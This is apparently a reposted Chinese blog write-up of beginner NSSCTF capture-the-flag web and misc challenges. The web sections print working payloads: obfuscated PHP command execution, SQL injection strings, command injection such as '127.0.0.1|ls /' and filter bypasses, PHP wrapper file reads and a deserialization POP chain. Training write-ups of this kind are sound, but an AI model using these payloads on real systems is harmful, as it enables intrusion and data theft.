0


[NSSCTF][Web+Misc]小白练手(五)

Web

[SWPUCTF 2021 新生赛]Do_you_know_http

题目:

让我们使用WLLM浏览器

修改一下User Agent

抓包修改

这里提示只能访问自己的本地地址

这里在请求包里面加一个自己的XFF头

X-Forwarded-For:127.0.0.1

发现了一个地址,访问一下,得出flag

NSSCTF{a4a6c136-9522-4f70-b45c-02029457420a}

补充
这题前面是修改一个User Agent的头
后面是伪造一个XFF头访问
下面是User Agent内的信息

[SWPUCTF 2021 新生赛]gift_F12

查看源代码,一个简单的js泄露

NSSCTF{We1c0me_t0_WLLMCTF_Th1s_1s_th3_G1ft}

[SWPUCTF 2021 新生赛]caidao

题目:

用中国蚁剑连接一下,查看到根目录下发现flag文件

NSSCTF{bebc7f52-7f2c-4242-9ca2-6cece6db65b1}

Misc

[NSSCTF]GIF分离

题目:

一个gif文件

拖进随波逐流进行gif逐帧分解

得到四张图片

H1d3_

On_

6ush!

NSSCTF{H1d3_On_6ush!}

Web

[SWPUCTF 2021 新生赛]hardrce

题目:(WAF绕过、RCE、无字母RCE)

这题我们可以看到是一个命令执行的传参,但是对传入的参数做了很多限制,基本上能传的传不了

所以这里我们用url编码后再取反即可构造payload

system:(~%8C%86%8C%8B%9A%92)

ls /:(~%93%8C%DF%D0)

payload:

?wllm=(%8C%86%8C%8B%9A%92)(%93%8C%DF%D0);

发现已经找到 flllllaaaaaaggggggg

再进行同样的操作进行url编码取反

cat /flllllaaaaaaggggggg

(~%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);

所以最终的payload就是

?wllm=system cat /flllllaaaaaaggggggg

取反就是

?wllm=(%8C%86%8C%8B%9A%92)(%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);

即得flag

NSSCTF{fb73ee2e-f7da-4d96-89dd-11e7be584b8e}

[suctf 2019]EasySQL

题目:

我们先尝试一下常规注入,发现没有什么东西

1' or '1'='1'# #or语句

1' order by 3# #order语句

1' union select 1,2,3# #联合查询1'and(select extractvalue(1,concat('~',(select database())))) #报错注入

1' and if(length(database())>1,sleep(5),1)--+ #时间注入

输入1,发现可能有堆叠注入

1;show databases#

1;show tables#

1;show columns from 'Flag'#

测试完堆叠注入,发现事情没有那么简单

看了wp才知道,原来是要去猜测出本来的sql语句查询时什么样的

select $_POST[‘query’] || flag from Flag

sql_mode 设置了 PIPES_AS_CONCAT 时,|| 就是字符串连接符,相当于CONCAT() 函数

当 sql_mode 没有设置 PIPES_AS_CONCAT 时 (默认没有设置),|| 就是逻辑或,相当于OR函数

第一种就按默认没有配置来进行,此时||就是逻辑或

||在命令执行中见过,

回顾:

command1;command2顺序执行

command1 || command2

如果command1执行失败,则执行command2

command1 && command2

如果command1执行成功,则执行command2

POST[‘query’]提交的数据换成∗,1(如果直接写的话会被报错,且写在后面会失效)解释:sql=select.post[‘query’]."∣∣flagfromFlag";(拼接语句)如果post[‘query’]的数据为

*,1

sql语句就变成了select *,1||flag from Flag

所以payload为:

1;set sql_mode=PIPES_AS_CONCAT;select 1

即得flag

NSSCTF{041915b8-72fd-4dd6-b2e9-6a4a6c24e712}

Misc

[SWPU 2019]漂流记的马里奥

题目:

将文件放入随波逐流binwalk一下

里面有个压缩包

即可获得flag

NSSCTF{ddg_is_cute}

Web

[ZJCTF 2019]NiZhuanSiWei

题目:

这里用到两个伪协议和一个反序列化,这里主要需要读到useless.php里有什么内容

text=data://text/plain,welcome to the zjctf

file=php://filter/convert.base64-encode/resource=useless.php

这里读出了一段base64编码

解码一下base64得到

可构造password反序列化

password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

成功读到返回字符

Ctrl+U查看源码,发现flag

NSSCTF{bdcffe66-146b-4f32-b3ad-c40dba69100f}

[NSSCTF 2022 Spring Recruit]ezgame

题目:

这题把自己kill查看js代码

Ctrl+F搜索NSSCTF即可得flag

NSSCTF{02dc9869-ffb5-4ad1-9942-ccba54cd7a9e}

Web

[LitCTF 2023]Follow me and hack me

题目:

根据提示直接传参

总结:GET传参andPOST传参

[LitCTF 2023]Ping

题目:

这题让我们ping一下,我们直接看一下源码,发现源码里有js的过滤语句

这么我们直接禁用js执行linux指令

F12+F1唤起设置

直接在输入框,输入ip地址和linux指令

127.0.0.1|ls /

我们查一下这个文件

cat /flag

直接得到flag

NSSCTF{9b871929-9b1a-44e6-b2cb-ef349339c882}

[BJDCTF 2020]easy_md5

题目

输入了一下参数什么都不显示

用BP抓个包

发现了一个hint头里面有一个SQL语句

发现参数的值会被MD5加密

所以这里使用了一个万能绕过语句

ffifdyop 加密结果是276f722736c95d99e921722cf9ed621c

经过MySQL编码后会变成’or’6xxx,使SQL恒成立,相当于万能密码,可以绕过md5()函数的加密。关键参数为md5(xx,true)

接下来我们输入

Ctrl+U查看源码

这里就很简单了

两个GET传参且a不等于b

但是a和b的加密md5相等

我们用以前积累的两个md5

s1502113478a

0e861580163291561247404381396064

s1885207154a

0e509367213418206700842008763514

这里我们查看源码发现

md5强类型对比利用空数组绕过。md5不能对数组加密

param1[]=2&param2[]=1

即可获得flag

NSSCTF{67251767-4028-4e90-8a14-bb6f16f006f5}

Misc

[领航杯江苏省赛 2021]签到题

总结:Word隐写

题目:

Ctrl+a全选,看看有无隐藏数据

即得flag

NSSCTF{2021 welcome you}

[鹤城杯 2021]New MISC

题目:

这题利用wbstego4.3打开

选择Decode

这里是空密码

导出解码后的文件路径及名字

即得flag

NSSCTF{verY_g00d_YoU_f0und_th1s}

[LitCTF 2023]Osint小麦果汁

题目:

我们可以找一找wifi什么的,因为店家一般都会将店名设为wifi名字

发现墙上有wifi

又flag为中文名字

翻译一下Hacker和Craft

黑客与精酿

即得flag

NSSCTF{黑客与精酿}

Web

[SWPUCTF 2021 新生赛]jicao

题目:

我们一行一行代码看

第一行、用来显示括号里文件的源码

第二行、包含了一个flag.php的文件

第三行、通过POST请求获取名为id的参数值赋值给$id

第四行、这里的json_decode是将获得的json参数解码成PHP数组

第五行、如果id的值为wllmNB且json的键值对为{"x":"wllm"},则会输出flag。

NSSCTF{fa18eba5-2f07-4977-8aab-91829c06781b}

补充
json_decode() 可以对JSON字符串「解码」,并转换PHP变量
$json_str :需要解码的JSON字符串,只能处理UTF-8编码的数据
assoc :布尔类型,true返回数组,(默认)false返回对象
depth :整数类型,递归的深度(默认512层),最大 2147483647 层
options :二进制掩码,目前只支持 JSON_BIGINT_AS_STRING

[SWPUCTF 2021 新生赛]easy_md5

题目:

可以看到,这是一个文件包含题

isset函数为检测参数是否为空

这里给了两个参数

一个GET参数name

一个POST参数password

这段代码想要执行下去得name的参数和password参数不相等,且两个参数md5加密后的参数相等(弱相等)

这里们可以直接选择两个加密后头为0e的参数传参

s1502113478a
0e861580163291561247404381396064
  
s1885207154a
0e509367213418206700842008763514

构造完pocflag也就是出来了

NSSCTF{86214bfe-afc2-40e3-83ee-6078dc8e571b}

[SWPUCTF 2021 新生赛]nc签到

题目:

直接nc连接一下,下载题目的附件,发现了黑名单

通过l\s tac$IFS$1flag

阔以直接接出来

NSSCTF{fda70609-f61b-464b-ac4d-761491cddcb6}

Misc

[NISACTF 2022]bqt

题目:

下载题目发现是个没后缀的文件,我们丢进Winhex看看文件结构

发现一个PDF的头,我们将文件改为PDF打开看看

没什么提示,丢进随波逐流里面看看

文件分离也没有什么可用的信息

我们在切换到pdf图片中,Ctrl+a看看有无隐写数据

发现果然存在

复制一下

c8e9aca0c3f4e6e5f2a1a0d4e8e5a0e6ece1e7a0e9f3baa0e6ece1e7fbf7e5e6e5efe9e4eae7efe5e4f3e6e9eff2f0e5e6e4e6e7e7e6e4f3e5fd

因为是16进制数据,所以先将一串字符每两个字符之间加一个空格并打印

s = 'c8e9aca0c3f4e6e5f2a1a0d4e8e5a0e6ece1e7a0e9f3baa0e6ece1e7fbf7e5e6e5efe9e4eae7efe5e4f3e6e9eff2f0e5e6e4e6e7e7e6e4f3e5fd'

result = ''
for i in range(0, len(s), 2):
    result += s[i:i+2] + ' '

print(result)
c8 e9 ac a0 c3 f4 e6 e5 f2 a1 a0 d4 e8 e5 a0 e6 ec e1 e7 a0 e9 f3 ba a0 e6 ec e1 e7 fb f7 e5 e6 e5 ef e9 e4 ea e7 ef e5 e4 f3 e6 e9 ef f2 f0 e5 e6 e4 e6 e7 e7 e6 e4 f3 e5 fd
200 233 172 160 195 244 230 229 242 161 160 212 232 229 160 230 236 225 231 160 233 243 186 160 230 236 225 231 251 247 229 230 229 239 233 228 234 231 239 229 228 243 230 233 239 242 240 229 230 228 230 231 231 230 228 243 229 253

因为flag一般最后一个字符是}

}字符的ASCII码序号是125

253-125=128,可以每个字符减128试试

将每个数字减去128:

numbers = [200, 233, 172, 160, 195, 244, 230, 229, 242, 161, 160, 212, 232, 229, 160, 230, 236, 225, 231, 160, 233, 243, 186, 160, 230, 236, 225, 231, 251, 247, 229, 230, 229, 239, 233, 228, 234, 231, 239, 229, 228, 243, 230, 233, 239, 242, 240, 229, 230, 228, 230, 231, 231, 230, 228, 243, 229, 253]

result = []
for num in numbers:
    result.append(num - 128)

print(result)
72, 105, 44, 32, 67, 116, 102, 101, 114, 33, 32, 84, 104, 101, 32, 102, 108, 97, 103, 32, 105, 115, 58, 32, 102, 108, 97, 103, 123, 119, 101, 102, 101, 111, 105, 100, 106, 103, 111, 101, 100, 115, 102, 105, 111, 114, 112, 101, 102, 100, 102, 103, 103, 102, 100, 115, 101, 125

10转ASCII即得flag

NSSCTF{wefeoidjgoedsfiorpefdfggfdse}

[SWPU 2020]耗子尾汁

题目:

这里题目是一个gif文件,我们首先文件分离一下

两个压缩包

第一个:

发现被防住了哈,出题者竟然预判了我

第二个:

是一个MP4观看视频的时候发现了一串base64

c2lnbl9pbg==解码一下得到sign_in

我们再将mp4分离一下,分离出来一个加密的压缩包,拿刚刚解码出来的结果试试

成功解压里面的文本,发现又一串加密

在将它按照base64 base32 hex 依次解码得到字符串:lvueiakxudsyqehszqhykggsyylkvvi

在根据下面的提示:单表替换密码,

在尝试之后发现是仿射,解码之后得到flag

在解密一下

解得最终的flag为FLAGYOUHAVESIGNEDINSUCCESSFULLY

NSSCTF{you_have_signed_in_successfully}

Web

[SWPUCTF 2021 新生赛]pop

题目:(反序列化)

# 传参$w00m,直接反序列化,入口就在__destruct,或者_wakeup,这里的w22m符合条件
class w22m{
    public $w00m;
    public function __destruct(){
        echo $this->w00m;
    }
}
# echo一个对象,调用__toString方法,然后调用内部w00m的方法,由此可得链子如下
# w22m.__destruct().w00m->w33m.__toString().w00m->w44m.Getflag()
<?php

class w44m{

    private $admin = 'w44m';
    protected $passwd = '08067';

}

class w22m{
    public $w00m;
}

class w33m{
    public $w00m;
    public $w22m;

}
# w22m.__destruct().w00m->w33m.__toString().w00m->w44m.Getflag()
$a = new w22m();
$b = new w33m();
$c = new w44m();
# 入口
$a->w00m=$b;
# 链子
$b->w00m=$c;
$b->w22m='Getflag';
echo urlencode(serialize($a));
?>

用小皮打开一下获得payload

反序列化传入,获得flag

NSSCTF{f27680da-ac69-452d-930d-a74d31e33632}


本文转载自: https://blog.csdn.net/qq_40820713/article/details/143956893
版权归原作者 Tame_0420 所有, 如有侵权,请联系我们删除。

“[NSSCTF][Web+Misc]小白练手(五)”的评论:

还没有评论